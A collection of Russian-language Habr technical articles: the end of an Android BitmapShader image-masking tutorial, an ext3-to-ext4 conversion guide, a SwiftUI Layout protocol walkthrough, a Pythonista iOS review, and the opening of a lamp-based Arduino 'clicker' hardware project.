Как видим, использование режимов PorterDuff на Android связано либо с выделением лишней памяти, либо с ограничением применения. К счастью, есть способ избежать всех этих проблем. Достаточно воспользоваться BitmapShader.
BitmapShader
============
Обычно, когда упоминаются шейдеры, вспоминают OpenGL. Но не стоит пугаться, использование BitmapShader на Android не требует от разработчика знаний в этой области. По сути, реализации android.graphics.Shader описывают алгоритм, который определяет цвет каждого пиксела, то есть являются пискельными шейдерами.
Как их использовать? Очень просто: если шейдер зарядить в Paint, то все, что рисуется с помощью этого Paint, будет брать цвет пикселов из шейдера. В пакете есть реализации шейдеров для рисования градиентов, комбинирования других шейдеров и (самый полезный в контексте нашей задачи) BitmapShader, который инициализируется с помощью Bitmap. Такой шейдер возвращает цвет соответствующих пикселов из Bitmap, которое было передано при инициализации.
В документации есть важное уточнение: рисовать шейдером можно все, кроме Bitmap. На самом деле, если Bitmap в формате ALPHA\_8, то при отрисовке такого Bitmap с помощью шейдера все прекрасно работает. А наша маска как раз в таком формате, так давайте попробуем отобразить маску с помощью шейдера, который использует изображения цветка.
По шагам:
* создаем BitmapShader, в который загружаем изображение цветка;
* создаем Paint, в который заряжаем этот BitmapShader;
* рисуем маску с помощью этого Paint.
```
public void setPictureBitmap(Bitmap src) {
mPictureBitmap = src;
mBitmapShader = new BitmapShader(mPictureBitmap,
Shader.TileMode.REPEAT,
Shader.TileMode.REPEAT);
mPaintShader.setShader(mBitmapShader);
}
public void draw(Canvas canvas) {
if (mPaintShader == null || mMaskBitmap == null) {
return;
}
canvas.drawBitmap(mMaskBitmap, 0, 0, mPaintShader);
}
```
Все очень просто, не так ли? На самом деле, если размеры маски и изображения не совпадают, то мы увидим не совсем то, что ожидали. Маска будет замощена изображениями, что соответствует использованному режиму `Shader.TileMode.REPEAT`.
Чтобы привести размер картинки к размеру маски, можно воспользоваться методом [android.graphics.Shader#setLocalMatrix](https://developer.android.com/reference/android/graphics/Shader.html#setLocalMatrix(android.graphics.Matrix)), в который нужно передать матрицу преобразования. К счастью, вспоминать курс аналитической геометрии не придется: класс android.graphics.Matrix содержит удобные методы формирования матрицы. Будем сжимать шейдер так, чтобы изображение полностью поместилось в маску без искажений пропорций, и сдвинем его так, чтобы совместить центры изображения и маски:
```
private void updateScaleMatrix() {
if (mPictureBitmap == null || mMaskBitmap == null) {
return;
}
int maskW = mMaskBitmap.getWidth();
int maskH = mMaskBitmap.getHeight();
int pictureW = mPictureBitmap.getWidth();
int pictureH = mPictureBitmap.getHeight();
float wScale = maskW / (float) pictureW;
float hScale = maskH / (float) pictureH;
float scale = Math.max(wScale, hScale);
Matrix matrix = new Matrix();
matrix.setScale(scale, scale);
matrix.postTranslate((maskW - pictureW * scale) / 2f, (maskH - pictureH * scale) / 2f);
mBitmapShader.setLocalMatrix(matrix);
}
```
Также использование шейдера дает нам возможность легко реализовать методы изменения прозрачности нашего Drawable и установки ColorFilter. Достаточно вызвать одноименные методы шейдера.
**Итоговый код**
```
public class MaskedDrawableBitmapShader extends Drawable {
private Bitmap mPictureBitmap;
private Bitmap mMaskBitmap;
private final Paint mPaintShader = new Paint();
private BitmapShader mBitmapShader;
public void setMaskBitmap(Bitmap maskBitmap) {
mMaskBitmap = maskBitmap;
updateScaleMatrix();
}
public void setPictureBitmap(Bitmap src) {
mPictureBitmap = src;
mBitmapShader = new BitmapShader(mPictureBitmap,
Shader.TileMode.REPEAT,
Shader.TileMode.REPEAT);
mPaintShader.setShader(mBitmapShader);
updateScaleMatrix();
}
@Override
public void draw(Canvas canvas) {
if (mPaintShader == null || mMaskBitmap == null) {
return;
}
canvas.drawBitmap(mMaskBitmap, 0, 0, mPaintShader);
}
private void updateScaleMatrix() {
if (mPictureBitmap == null || mMaskBitmap == null) {
return;
}
int maskW = mMaskBitmap.getWidth();
int maskH = mMaskBitmap.getHeight();
int pictureW = mPictureBitmap.getWidth();
int pictureH = mPictureBitmap.getHeight();
float wScale = maskW / (float) pictureW;
float hScale = maskH / (float) pictureH;
float scale = Math.max(wScale, hScale);
Matrix matrix = new Matrix();
matrix.setScale(scale, scale);
matrix.postTranslate((maskW - pictureW * scale) / 2f, (maskH - pictureH * scale) / 2f);
mBitmapShader.setLocalMatrix(matrix);
}
@Override
public void setAlpha(int alpha) {
mPaintShader.setAlpha(alpha);
}
@Override
public void setColorFilter(ColorFilter cf) {
mPaintShader.setColorFilter(cf);
}
@Override
public int getOpacity() {
return PixelFormat.UNKNOWN;
}
@Override
public int getIntrinsicWidth() {
return mMaskBitmap != null ? mMaskBitmap.getWidth() : super.getIntrinsicWidth();
}
@Override
public int getIntrinsicHeight() {
return mMaskBitmap != null ? mMaskBitmap.getHeight() : super.getIntrinsicHeight();
}
}
```
На мой взгляд, это самое удачное решение задачи: не требуется выделение буфера, нет проблем с прозрачностью. Более того, если маска простой геометрической формы, то можно отказаться от загрузки Bitmap с маской и рисовать маску программно. Это позволит сэкономить память, необходимую для хранения маски в виде Bitmap.
Например, используемая в этой статье в качестве примера маска — это довольно простая геометрическая фигура, которую несложно отрисовать.
**Пример кода**
```
public class FixedMaskDrawableBitmapShader extends Drawable {
private Bitmap mPictureBitmap;
private final Paint mPaintShader = new Paint();
private BitmapShader mBitmapShader;
private Path mPath;
public void setPictureBitmap(Bitmap src) {
mPictureBitmap = src;
mBitmapShader = new BitmapShader(mPictureBitmap,
Shader.TileMode.REPEAT,
Shader.TileMode.REPEAT);
mPaintShader.setShader(mBitmapShader);
mPath = new Path();
mPath.addOval(0, 0, getIntrinsicWidth(), getIntrinsicHeight(), Path.Direction.CW);
Path subPath = new Path();
subPath.addOval(getIntrinsicWidth() * 0.7f, getIntrinsicHeight() * 0.7f, getIntrinsicWidth(), getIntrinsicHeight(), Path.Direction.CW);
mPath.op(subPath, Path.Op.DIFFERENCE);
}
@Override
public void draw(Canvas canvas) {
if (mPictureBitmap == null) {
return;
}
canvas.drawPath(mPath, mPaintShader);
}
@Override
public void setAlpha(int alpha) {
mPaintShader.setAlpha(alpha);
}
@Override
public void setColorFilter(ColorFilter cf) {
mPaintShader.setColorFilter(cf);
}
@Override
public int getOpacity() {
return PixelFormat.UNKNOWN;
}
@Override
public int getIntrinsicWidth() {
return mPictureBitmap != null ? mPictureBitmap.getWidth() : super.getIntrinsicWidth();
}
@Override
public int getIntrinsicHeight() {
return mPictureBitmap != null ? mPictureBitmap.getHeight() : super.getIntrinsicHeight();
}
}
```
Поскольку шейдер можно использовать для рисования чего угодно, то можно попробовать нарисовать текст, например:
```
public void setPictureBitmap(Bitmap src) {
mPictureBitmap = src;
mBitmapShader = new BitmapShader(mPictureBitmap,
Shader.TileMode.REPEAT,
Shader.TileMode.REPEAT);
mPaintShader.setShader(mBitmapShader);
mPaintShader.setTextSize(getIntrinsicHeight());
mPaintShader.setStyle(Paint.Style.FILL);
mPaintShader.setTextAlign(Paint.Align.CENTER);
mPaintShader.setTypeface(Typeface.create(Typeface.DEFAULT, Typeface.BOLD));
}
@Override
public void draw(Canvas canvas) {
if (mPictureBitmap == null) {
return;
}
canvas.drawText("A", getIntrinsicWidth() / 2, getIntrinsicHeight() * 0.9f, mPaintShader);
}
```
Результат:
RoundedBitmapDrawable
=====================
Полезно знать о существовании в Support Library класса RoundedBitmapDrawable. Он может пригодиться, если нужно только скруглить края или сделать картинку полностью круглой. Внутри используется BitmapShader.
Производительность
==================
Давайте посмотрим, как перечисленные выше решения влияют на производительность. Для этого я использовал RecyclerView с сотней элементов. Графики GPU monitor сняты при быстром скроллинге на достаточно производительном смартфоне (Moto X Style).
Напомню, что на графиках по оси абсцисс — время, по оси ординат — количество миллисекунд, затраченное на отрисовку каждого кадра. В идеале график должен помещаться ниже зеленой линии, что соответствует 60 FPS.
Plain BitmapDrawable (no masking)
SRC\_IN
BitmapShader
Видно, что использование BitmapShader позволяет добиться такого же высокого фреймрейта, что и без накладывания маски вообще. В то время как SRC\_IN решение уже нельзя признать достаточно производительным, интерфейс ощутимо «подтормаживает» при быстром скроллинге, что подтверждается графиком: многие кадры отрисовываются дольше 16 мс, а некоторые и больше 33 мс, то есть FPS падает ниже 30.
Выводы
======
На мой взгляд, преимущества подхода с использованием BitmapShader очевидны: не надо выделять память под буфер, отличная гибкость, поддержка полупрозрачности, высокая производительность.
Неудивительно, что именно этот подход используется в библиотечных реализациях.
Делитесь своими мыслями в комментариях!
Да пребудет с вами [stackoverflow.com](http://stackoverflow.com/)! | https://habr.com/ru/post/310618/ | null | ru | null |
# Как конвертировать файловую систему из ext3 в ext4
Теперь у всех есть новая Убунту с поддержкой ext4, и в моём [прошлом посте](http://habrahabr.ru/blogs/ubuntu/58060/) о его релизе было несколько комментариев с вопросами о том, как переделать файловую систему в этот самый ext4. По этому отличному поводу я решил перевести топик с wiki.kernel.org, где как раз про это написано. Перевод совсем вольный, разбавленный моими собственными мыслями. Кстати, про все новые плюшки ext4 можно почитать ~~по-английски~~ теперь по-русски [здесь](http://xgu.ru/wiki/Ext4), а еще в новой статье [yktoo](https://habrahabr.ru/users/yktoo/) вот [здесь](http://habrahabr.ru/blogs/linux/58183/)!
#### Монтрование ext3 как ext4 без конвертации
Во-первых, начиная с ядра 2.6.28 можно монтировать ext2, ext3 и ext4 файловые системы как ext4. Это даст возможность использовать новые оптимизированные штуковины нового драйвера (например, delayed allocation, multi-block allocation и большие inode, если вы свою ext3 форматировали с этой опцией), и при этом физически на диске ничего не изменится, давая возможность вернутся обратно на драйвер ext3, например. Это делается очень просто — в вашем */etc/fstab* меняете ext3 на ext4 и всё. Правда.
#### Конвертация в ext4
Совсем другое дело, если вы хотите использовать новые возможности ext4, такие как extents, которые меняют физический формат хранения данных, но и дают большой выигрыш в производительности. Если вы конвертируете из ext2, то сначала нужно включить журналирование (другими словами, конвертировать в ext3):
`sudo tune2fs -j /dev/{нужный раздел}`
Затем, чтобы включить новые возможности на вашей ext3 файловой системе, нужно сделать так:
`sudo tune2fs -O extents,uninit_bg,dir_index /dev/{нужный раздел}`
**Внимание!** После этой команды, вы уже **никогда** не сможете смонтировать файловую систему как ext3.
После этого нужно **обязательно** ([Mastyf](https://habrahabr.ru/users/mastyf/) говорит, что необязательно, потому что при первой перезагрузке всё само проверится, но я бы всё-таки перестраховался) проверить файловую систему с помощью fsck, чтобы привести в порядок то, что tune2fs не доделала. Делаем это так:
`sudo e2fsck -pDf /dev/{нужный раздел}`
После этого правим */etc/fstab* и перезагружаемся.
**Примечание**: есть некоторые новые возможности, которые можно получить, только заново отформатировав раздел, например, flex\_bg и поддержка разделов размером больше 16 терабайт.
**Еще одно примечание**: не рекомендуется менять размер inode с помощью e2fsprogs версии 1.41.0 или старше, потому что это приводит к испорченным данным и грустным людям.
**Последнее примечание**: после включения экстентов, новые файлы будут создаваться с их использованием, но со старыми ничего не случится и они продолжат лежать на диске в старом формате. Я где-то читал о волшебной утилитке *defrag2fs*, которая все старые файлы тоже переводит в новый формат, но, как я понял, она еще очень сырая, плохо работает, опасна для жизни и лучше подождать.
#### Как загружаться, если /boot тоже ext4
Вообще, конвертировать /boot в ext4 бессмысленно. Но если очень хочется, тогда нужно сначала сделать всё, как написано выше. Затем, нужно немного подправить */boot/grub/menu.lst*. Находим вот такую строчку:
`title Ubuntu 9.04 <...>
root (hdX,Y)
kernel /boot/vmlinuz-2.6.28-... root=... ro quiet splash`
И добавляем к последней в конец `rootfstype=ext4` | https://habr.com/ru/post/58121/ | null | ru | null |
# Layout Protocol: новые возможности SwiftUI
WWDC 2022 привнесла много изменений и улучшений в SwiftUI, и обновленный протокол Layout — одно из самых значимых. Об особенностях работы с новыми инструментами компоновки элементов, анонсированными в iOS 16.0, рассказывает iOS-разработчик студии [CleverPumpkin](https://cleverpumpkin.ru/) Даниил Апальков.
Прежде чем говорить о новых возможностях протокола, давайте посмотрим, как выглядит текущий механизм Layout’a в SwiftUI, и как с ним можно взаимодействовать сейчас.
Принцип работы алгоритма простой: SwiftUI для каждого элемента в иерархии предлагает доступное место. Элемент на основе полученных данных решает, сколько места предложить дочерним внутри себя. После размещения элемент возвращает контейнеру размер, который ему необходим. Исходя из этой информации родитель располагает этот элемент внутри себя.
На практике все чуть сложнее. В текущих версиях iOS мы взаимодействуем с механизмом Layout’a в основном через .frame модификатор. View в SwiftUI имеет несколько свойств и ограничений, определяющих необходимое ему место. Через .frame-модификатор можно указать максимальный, минимальный и идеальный размеры. Также у View есть предпочтения по отступам с разных сторон в различных контекстах, подробнее об этом написано в [статье автора javier на swiftui-lab](https://swiftui-lab.com/frame-behaviors/).
При таком подходе в комбинации с .frame модификатором используются GeometryReader для прочтения предлагаемого контейнером размера и PreferenceKey для сохранения параметров одной или нескольких View, чтобы на их основании еще раз вернуться в корень иерархии и подкорректировать Layout.
Такой подход абсолютно неочевиден, сильно усложняет код, а в случае с PreferenceKey при неправильном обращении может привести к бесконечному циклу Layout’ов и падению приложения.
Давайте разберем новый Layout протокол, предложенный Apple, который позволяет внедриться непосредственно в описанный выше процесс. Весь протокол представляет собой небольшой набор методов и полей.
Для начала сфокусируемся на двух основных:
```
public protocol Layout : Animatable {
//...
associatedtype Cache = Void
//...
func sizeThatFits(
proposal: ProposedViewSize,
subviews: Self.Subviews,
cache: inout Self.Cache
) -> CGSize
func placeSubviews(
in bounds: CGRect,
proposal: ProposedViewSize,
subviews: Self.Subviews,
cache: inout Self.Cache
)
//...
}
```
Можно отметить несколько особенностей: во-первых, протокол использует определенный тип для дочерних элементов - Subviews. Эта коллекция рандомного доступа предоставляет интерфейс для взаимодействия с элементами определенным путем, поэтому просто достать непосредственно View в процессе Layout’а у нас не выйдет.
Обратите внимание, что ProposedViewSize — отдельный тип, который может быть инициализирован из привычного нам CGSize. Разница в том, что и предложенная ширина и высота в ProposedViewSize могут быть nil, размер может быть бесконечным или вовсе неуказанным, и таким образом мы можем позволить объекту занять свой идеальный размер.
Также у ProposedViewSize есть метод, который заменяет незаданные измерения исходя из значения размера, который передается как параметр метода. Здесь мы видим те самые магические 10 пойнтов отступа как значение по умолчанию:
```
public func replacingUnspecifiedDimensions(
by size: CGSize = CGSize(width: 10, height: 10)
) -> CGSize
```
Давайте перейдем к практике и разберем работу протокола на примере простенького кругового Layout’а:
Чтобы написать этот Layout, требуется небольшая подготовка:
* Нужно запросить размер. Для этого попросим в виде входных данных радиус окружности, и посчитаем самый большой элемент в коллекции, так как они могут быть разного размера. Для каждого из элементов мы будем опираться на его идеальный размер, то есть предложим нашим Subview размер шириной и высотой nil, чтобы они заняли необходимое пространство.
* Опираясь на количество Subview и радиус окружности, мы сможем посчитать координаты и выложить наши элементы по кругу внутри запрошенного места.
Начнем с первого пункта:
```
struct CircleLayout: Layout {
let radius: CGFloat
func sizeThatFits(
proposal: ProposedViewSize,
subviews: Subviews,
cache: inout ()
) -> CGSize {
let maxSize = getMaxSize(for: subviews)
return CGSize(
width: radius * 2 + maxSize.width,
height: radius * 2 + maxSize.height
)
}
//...
private func getMaxSize(for subviews: Subviews) -> CGSize {
subviews.reduce(.zero) { currentMaxSize, subview in
let currentSize = subview.sizeThatFits(.unspecified)
return CGSize(
width: max(currentSize.width, currentMaxSize.width),
height: max(currentSize.height, currentMaxSize.height)
)
}
}
}
```
Обратите внимание: чтобы узнать размер у Subview, необходимо использовать метод sizeThatFits, предлагая ProposedViewSize. В нашем случае он указан как .unspecified, и Subview занимает столько места, сколько ему необходимо. В расчете мы используем “диаметр” плюс “высота”/“ширина” самого большого элемента в коллекции, чтобы все наши Subview поместились внутри.
Теперь, когда мы попросили место, пора расположить элементы по кругу. Для этого высчитываем координату и размер, которые будем использовать, чтобы расположить Subview, используя метод place(at:proposal:):
```
struct CircleLayout: Layout {
//...
func placeSubviews(
in bounds: CGRect,
proposal: ProposedViewSize,
subviews: Subviews,
cache: inout ()
) {
let maxSize = getMaxSize(for: subviews)
let proposal = ProposedViewSize(maxSize)
for (index, subview) in subviews.enumerated() {
let center = CGPoint(x: bounds.midX, y: bounds.midY)
let origin = getPosition(
forSubviewIndex: index,
radius: radius,
center: center,
subviewsCount: subviews.count
)
subview.place(at: origin, proposal: proposal)
}
}
//...
private func getPosition(
forSubviewIndex index: Int,
radius: CGFloat,
center: CGPoint,
subviewsCount: Int
) -> CGPoint {
let theta = (CGFloat.pi * 2 / CGFloat(subviewsCount)) * CGFloat(index)
return CGPoint(
x: center.x + radius * cos(theta),
y: center.y + radius * sin(theta)
)
}
}
```
Готово!
Теперь, когда мы увидели основной кейс использования протокола, давайте поговорим о других важных особенностях. Посмотрите на протокол ниже, и кратко пробежимся по моментам, которые мы еще не затронули:
```
public protocol Layout : Animatable {
static var layoutProperties: LayoutProperties { get }
associatedtype Cache = Void
typealias Subviews = LayoutSubviews
func makeCache(subviews: Self.Subviews) -> Self.Cache
func updateCache(_ cache: inout Self.Cache, subviews: Self.Subviews)
func spacing(subviews: Self.Subviews, cache: inout Self.Cache) -> ViewSpacing
func sizeThatFits(proposal: ProposedViewSize, subviews: Self.Subviews, cache: inout Self.Cache) -> CGSize
func placeSubviews(in bounds: CGRect, proposal: ProposedViewSize, subviews: Self.Subviews, cache: inout Self.Cache)
func explicitAlignment(of guide: HorizontalAlignment, in bounds: CGRect, proposal: ProposedViewSize, subviews: Self.Subviews, cache: inout Self.Cache) -> CGFloat?
func explicitAlignment(of guide: VerticalAlignment, in bounds: CGRect, proposal: ProposedViewSize, subviews: Self.Subviews, cache: inout Self.Cache) -> CGFloat?
}
```
* layoutProperties - информация о Layout’е, например о его направлении (горизонтальное или вертикальное);
* Cache - тип, который может быть использован для улучшения быстродействия Layout’a. Как вы могли заметить, мы несколько раз и в методе sizeThatFits и в методе placeSubviews вызывали метод getMaxSize. В некоторых случаях, между первыми двумя методами могут быть общие и дорогостоящие расчеты, которые как раз можно сохранить в Cache. Он является inout параметром и может быть модифицирован из любого места. В случае CircleLayout, я бы мог сделать Cache типа CGSize, и сохранить туда мой максимальный размер, чтобы не считать его дважды;
* makeCache - место для таких расчетов и сохранений. Также SwiftUI может по мере обновления экрана попросить обновить Cache, для чего и существует updateCache;
* Методы spacing, и explicitAlignment нужны для того, чтобы в зависимости от соответствующих свойств у Subviews определить, необходим ли spacing у нас как контейнера.
И еще одна особенность, привнесенная iOS 16 в процесс Layout’а в SwiftUI - AnyLayout. С его помощью мы можем динамически менять Layout в зависимости от State с анимацией:
```
enum LayoutKind: Int, CaseIterable {
case vertical
case horizontal
case z
case grid
case circle
}
@State var layoutKind: LayoutKind = .vertical
// Между бетами стандартные классы Layout-ов могут меняться
// В будущем, в идеале можно будет использовать стандартные VStack и HStack
var layout: AnyLayout {
switch layoutKind {
case .vertical:
return AnyLayout(_VStackLayout())
case .horizontal:
return AnyLayout(_HStackLayout())
case .z:
return AnyLayout(_ZStackLayout())
case .grid:
return AnyLayout(_GridLayout())
case .circle:
return AnyLayout(CircleLayout(radius: 100))
}
}
```
Layout протокол - большой скачок для SwiftUI, решающий массу проблем. С его появлением в iOS 16 стало заметно проще решать задачи, связанные с выделением места и расположением элементов на экране с минимумом кода и максимумом читаемости. Но не стоит забывать, что этот новый инструмент пока на Бета-стадии, и до релиза он может добраться в несколько измененном виде. | https://habr.com/ru/post/685374/ | null | ru | null |
# Pythonista. Пишем на Python для iOS
Планшет iPad от компании Apple — всем известное и не нуждающееся в рекламе устройство. Но очень часто хочется использовать всю мощь этого устройства не только для игр и развлечения, а для серьёзной работы. Например для написания программ. Несмотря на 4-x летнею историю развития этого гаджета и наличие разных моделей удобных сред для программирования под iOS существует крайне мало. (Оговорюсь сразу, во избежании дальнейшей путаницы: программирование **на** iOS — значит написание кода и запуск программы на iPad или iPhone, а программирование **для** iOS — написание приложения, которое может быть выложено в App Store.)
Недавно я наткнулся на великолепную программку [Pythonista](https://itunes.apple.com/ru/app/pythonista/id528579881?mt=8), которая позволяет писать **на** iOS **для** iOS.
#### Краткое описание
Как пишут создатели этой программы:
> Pythonista brings the Zen of Python to your iPad or iPhone.
И это действительно так. Программа является лучшим компилятором для Python.
На мой взгляд, лучшим это приложение делают 3 вещи:
* Не нужно интернет-подключение для запуска программы. iPad действительно становиться рабочей станцией;
* Есть всплывающие подсказки и встроенная документация (опять же без доступа к интернету);
* И, конечно, самое главное, это возможность экспорта в XCode.
#### Обзор
Среда ориентирована на Python 2.7. Но есть и некоторые фишки из 3-й ветки. Например, сработает и такой код:
```
print "Hello, world"
```
и код
```
print ("Hello, world")
```
Кроме стандартных библиотек, есть [несколько библиотек](http://omz-software.com/pythonista/docs/ios/index.html) для непосредственной разработки для iOS. Остановлюсь на одной. Она называется **ui** и отвечает за GUI.
Рассмотрим несколько примеров работы с этой библиотекой. Очень интересно, что в Pythonista графический интерфейс можно задавать программно, а можно нативно:
```
import ui
def button_tapped(sender):
sender.title = 'Hello'
view = ui.View() # [1]
view.name = 'Demo' # [2]
view.background_color = 'white' # [3]
button = ui.Button(title='Tap me!') # [4]
button.center = (view.width * 0.5, view.height * 0.5) # [5]
button.action = button_tapped # [6]
view.add_subview(button) # [7]
view.present('sheet') # [8]
```
Это первый пример по работе с библиотекой ui. Разберём программу построчно:
1) Сначала создаём объект View;
2) Потом задаём имя этого объекта, оно будет отображаться в его заголовке;
3) Устанавливаем цвет фона объекта — белый, можно задавать словом, а можно при помощи RGB;
4) Создаём кнопку с надписью «Tap me!»;
5) Размещаем кнопку на объекте;
6) Задаём функцию, которая будет выполняться при нажатии на кнопку. (В данном случае изменится надпись на кнопке);
7) Уточняем, что «button» является наследником «view»;
8) Наконец, вызываем метод view.present() для отображения объекта на экране iOS устройства.
Вот что будет происходить на айпаде:
Но тоже самое можно сделать и нативно:
1) Создадим скрипт с UI:
2) Открыв UI, нажмем на кнопку "+" и выберем button:
3) Растянем кнопку и разместим её по центру экрана:
4) Откроем атрибуты кнопки и зададим функцию, срабатывающую при её нажатии:
 
4) Перейдём в редактор скрипта и напишем функцию:
```
def button_tapped(sender):
sender.title = 'Hello'
```
Скажем, к какому UI привязать данный скрипт:
```
ui.load_view('My UI').present('sheet')
```
5) Запустим программу:
#### В завершение
В завершение хочу сказать, что представленный мною обзор далеко не полон и не раскрывает всех функций этой программы. Множество примеров, отличное описание библиотек — всё это позволит довольно быстро разобраться во всех свойствах этого приложения.
Рекомендую посетить [сайт](http://omz-software.com/pythonista/) создателей Pythonista. На нём есть [документация](http://omz-software.com/pythonista/docs/) , к сожалению, только на английском языке.
**UPD:** Читайте мою статью посвящённую этой программе и автоматизации iOS в февральском номере журнала ][акер | https://habr.com/ru/post/241229/ | null | ru | null |
# Абсолютная загадка наследования в Java
Почему эта загадка абсолютная? По двум причинам:
• Она касается основ языка Java, а не какого-то малоизвестного нюанса API.
• Она расплавила мой мозг, когда я на нее наткнулся.
Если вы хотите проверить себя перед дальнейшим чтением, пройдите [этот тест](http://www.classmarker.com/embedded_quizzes/?quiz=5ced4e42711fa927925c23e87b51be94).
Для начала подготовим окружение. У нас будет 3 класса в 2 пакетах. Классы `C1` и `C2` будут в пакете `p1`:
> `package p1;
>
> public class C1 {
>
> public int m() {return 1;}
>
> }
>
> public class C2 extends C1 {
>
> public int m() {return 2;}
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Класс `C3` будет в отдельном пакете `p2`:
> `package p2;
>
> public class C3 extends p1.C2 {
>
> public int m() {return 3;}
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Еще нам понадобится тестовый класс `p1.Main` с таким методом `main`:
> `public static void main(String[] args) {
>
> C1 c = new p2.C3();
>
> System.out.println(c.m());
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Обратите внимание, что мы вызываем метод класса `С1` у экземпляра класса `C3`. Как можно было догадаться, этот пример выведет «3».
Теперь давайте изменим видимость `m()` во всех трех классах на видимость по умолчанию:
> `public class C1 {
>
> /\*default\*/ int m() {return 1;}
>
> }
>
> public class C2 extends C1 {
>
> /\*default\*/ int m() {return 2;}
>
> }
>
> public class C3 extends p1.C2 {
>
> /\*default\*/ int m() {return 3;}
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь выводом будет «2»!
Почему это происходит? Класс `Main`, который осуществляет вызов, не видит метод `m()` класса `C3`, поскольку тот находится в отдельном пакете. В том что касается `Main`, цепь наследования заканчивается на `C2`. Но так как `C2` находится в том же пакете, то его метод `m()` переопределяет соответствующий метод `C1`. Не очень интуитивно, но так уж оно работает.
Теперь давайте попробуем нечто иное: изменим модификатор `C3.m()` обратно на `public`. Что получится теперь?
> `public class C1 {
>
> /\*default\*/ int m() {return 1;}
>
> }
>
> public class C2 extends C1 {
>
> /\*default\*/ int m() {return 2;}
>
> }
>
> public class C3 extends p1.C2 {
>
> public int m() {return 3;}
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь `Main` видит метод `C3.m()`. Но как это ни странно, результат, по-прежнему, «2»!
По-видимому, считается, что `C3.m()` вовсе не переопределяет `C2.m()`. Можно представлять себе это следующим образом: переопределяющий метод должен иметь доступ к методу, который он переопределяет (через `super.m()`). Однако в данном случае, у `C3.m()` нет доступа к своему базовому методу, поскольку тот находится в другом пакете. Поэтому `C3` считается частью совершенно иной цепочки наследования, не той, что содержит `C1` и `C2`. Если бы мы вызвали `C3.m()` непосредственно из `Main`, то получили бы ожидаемый результат «3».
Теперь давайте взглянем на еще один пример. `protected` — интересный модификатор видимости. Он ведет себя как модификатор по умолчанию для членов того же пакета и как `public` для подклассов. Что произойдет, если мы изменим все видимости на `protected`?
> `public class C1 {
>
> protected int m() {return 1;}
>
> }
>
> public class C2 extends C1 {
>
> protected int m() {return 2;}
>
> }
>
> public class C3 extends p1.C2 {
>
> protected int m() {return 3;}
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Я рассуждал следующим образом: так как `Main` не является подклассом любого из наших классов, то `protected`, в данном случае, должен вести себя так же, как модификатор по умолчанию и результатом должно быть «2». Однако это не так. Важным моментом является то, что `C3.m()` имеет доступ к `super.m()` и, таким образом, на самом деле выводом будет «3».
Лично я, когда впервые столкнулся с этой ситуацией, очень запутался и не мог разобраться, пока не изучил все примеры. Пока что можно сделать вывод, что подкласс является частью цепи наследования, тогда и только тогда, когда вы можете из него обратиться к `super.m()`.
Это предположение тоже неверно. Рассмотрим следующий пример:
> `public class C1 {
>
> /\*default\*/ int m() {return 1;}
>
> }
>
> public class C2 extends C1 {
>
> /\*default\*/ int m() {return 2;}
>
> }
>
> public class C3 extends p1.C2 {
>
> /\*default\*/ int m() {return 3;}
>
> }
>
> public class C4 extends p2.C3 {
>
> /\*default\*/ int m() {return 4;}
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Заметим, что `C4` находится в пакете `p1`. Теперь изменим код класса `Main` следующим образом:
> `public static void main(String[] args) {
>
> C1 c = new C4();
>
> System.out.println(c.m());
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Тогда он выведет «4». Однако `super.m()` не доступен из `C4`: если к `C4.m()` добавить аннотацию `@Override`, то код не будет компилироваться. В то же время, если мы изменим метод `main` на
> `public static void main(String[] args) {
>
> p2.C3 c = new C4();
>
> System.out.println(c.m());
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
то результатом снова будет «3». Это означает, что `C4.m()` переопределяет `C2.m()` и `C1.m()`, но не `C3.m()`. Это также делает ситуацию еще более запутанной, а правильное предположение следующим: *метод подкласса переопределяет метод базового класса, тогда и только тогда, когда метод в базовом классе доступен из подкласса*. Здесь «базовый класс» относится к любому предку, не обязательно прямому родителю.
Мораль истории такова: хотя данное поведение и описано в спецификации, оно неинтуитивно. Кроме того, может существовать не одна цепь наследования, а много, и, меняя модификатор видимости с «по-умолчанию» на `protected`, вы можете поломать код совершенно в другом месте, даже не подозревая об этом, из-за того, что несколько цепей наследования объединятся в одну.
UPD: используйте аннотацию [Override](https://habrahabr.ru/users/override/), тогда в подобной ситуации код не скомпилируется. | https://habr.com/ru/post/62602/ | null | ru | null |
# Тёплый ламповый «кликер»
Предисловие
===========
Путешествуя по просторам интернета я набрел на одну малоинтересную категорию игрушек — «кликеры». Особенно меня «порадовал» [Office Clicker](http://flashok.ru/igrat-online/14121-office-clicker/). Глупость конечно несусветная, но что-то в этом есть. Можно написать какой-нибудь скрипт, который будет играть вместо меня, но это слишком банально. Я решил сделать хардвэрный «кликер», но не просто хардверный, а теплый-ламповый «кликер»! Интересно? Прошу под кат!
Теплая «ламповая» схемотехника
------------------------------
Схема мне пришла в голову весьма нетривиальная, в основу ее легла автомобильная лампочка дальнего света (которую я далее гордо именую «лампой»):
Номиналы деталей:
* R1 = 10 КОм (многооборотный);
* R2 = 5 Ом (5 Вт);
* R3 = 470 ОМ (0,25 Вт);
* R4 = 100 Ом (0,25 Вт);
* C1 = 47 мкФ (25 В).
Принцип работы схемы следующий:
1. «Лампа» остыла (остывает);
2. Напряжение U1 < U2;
3. Компаратор подает отпирающий сигнал на транзистор T1;
4. Транзистор T1 открыт;
5. Контакты реле замкнуты;
6. Через «лампу» начинает течь ток => она нагревается;
7. Сопротивление «лампы» увеличивается;
8. Напряжение U1 растет и приближается к U2;
9. Когда U1 > U2, компаратор перестает подавать сигнал на T1;
10. Транзистор T1 закрыт;
11. Контакты реле разомкнуты;
12. U1 > U2, но постепенно U1 снижается;
13. GOTO 1.
Частота генерируемого сигнала зависит от:
* постоянной времени t=R5\*C1;
* времени разогрева (и остывания) «лампы».
Изменяя напряжение U2 мы меняем время разогрева «лампы», соответственно — чем больше U2 тем ниже будет частота.
Резистор R4 и стабилитрон D1 (на напряжение 3.3В) используются для формирования управляющего сигнала для следующего узла — платы Arduino Duo.
Интерфейс
---------
Как вы уже поняли, в качестве интерфейсной платы между «ламповым» реле и компьютером я выбрал плату Arduino Duo.
Принцип работы очень прост:
